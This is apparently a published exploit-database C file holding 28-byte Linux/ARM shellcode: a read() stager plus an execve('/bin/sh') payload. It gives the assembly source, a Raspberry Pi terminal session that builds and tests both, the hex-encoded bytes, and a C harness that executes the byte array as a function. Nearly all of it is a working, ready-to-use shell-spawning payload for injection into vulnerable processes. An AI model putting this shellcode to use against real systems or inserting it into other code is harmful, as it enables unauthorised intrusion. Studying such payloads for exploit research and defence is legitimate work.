97 lines
No EOL
2.6 KiB
C
97 lines
No EOL
2.6 KiB
C
/*
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Title: Linux/ARM - read(0, buf, 0xff) stager + execve("/bin/sh", NULL, NULL) Shellcode (28 Bytes)
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Date: 2018-08-30
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Tested: armv7l (Raspberry Pi 3 Model B+)
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Author: Ken Kitahara
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pi@raspberrypi:~ $ uname -a
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Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux
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pi@raspberrypi:~ $ lsb_release -a
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No LSB modules are available.
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Distributor ID: Raspbian
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Description: Raspbian GNU/Linux 9.4 (stretch)
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Release: 9.4
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Codename: stretch
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pi@raspberrypi:~ $ cat binsh.s
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.section .text
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.global _start
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_start:
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.ARM
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add lr, pc, #1
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bx lr
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.THUMB
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// execve("/bin/sh", NULL, NULL)
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adr r0, spawn
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eor r1, r1, r1
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eor r2, r2, r2
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strb r2, [r0, #7]
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mov r7, #0xb
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svc #1
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spawn:
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.ascii "/bin/shX"
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pi@raspberrypi:~ $ as -o binsh.o binsh.s && ld -N -o binsh binsh.o
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pi@raspberrypi:~ $ ./binsh
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$ id
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uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
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$ exit
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pi@raspberrypi:~ $ objcopy -O binary binsh binsh.bin
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pi@raspberrypi:~ $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' binsh.bin && echo
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\x01\xe0\x8f\xe2\x1e\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x58
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pi@raspberrypi:~ $ cat stager.s
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.section .text
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.global _start
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_start:
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.ARM
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add lr, pc, #1
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bx lr
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.THUMB
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// load shellcode into stack region
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// read(0, buf, 0xff)
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eor r0, r0, r0
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mov r1, sp
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mov r2, #0xff
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mov r7, #3
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svc #1
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// change to ARM state
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eor r7, r7, r7
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mov lr, pc
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bx lr
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.ARM
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mov pc, r1
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pi@raspberrypi:~ $ as -o stager.o stager.s && ld -N -o stager stager.o
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pi@raspberrypi:~ $ (echo -en "\x01\xe0\x8f\xe2\x1e\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x58"; cat) | ./stager
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id
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uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
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exit
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^C
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pi@raspberrypi:~ $ objcopy -O binary stager stager.bin
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pi@raspberrypi:~ $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' stager.bin && echo
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\x01\xe0\x8f\xe2\x1e\xff\x2f\xe1\x40\x40\x69\x46\xff\x22\x03\x27\x01\xdf\x7f\x40\xfe\x46\x70\x47\x01\xf0\xa0\xe1
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pi@raspberrypi:~ $
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*/
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#include<stdio.h>
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#include<string.h>
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unsigned char sc[] = \
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"\x01\xe0\x8f\xe2\x1e\xff\x2f\xe1"
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"\x40\x40\x69\x46\xff\x22\x03\x27"
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"\x01\xdf\x7f\x40\xfe\x46\x70\x47"
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"\x01\xf0\xa0\xe1";
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void main()
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{
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printf("Shellcode Length: %d\n", strlen(sc));
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int (*ret)() = (int(*)())sc;
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ret();
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} |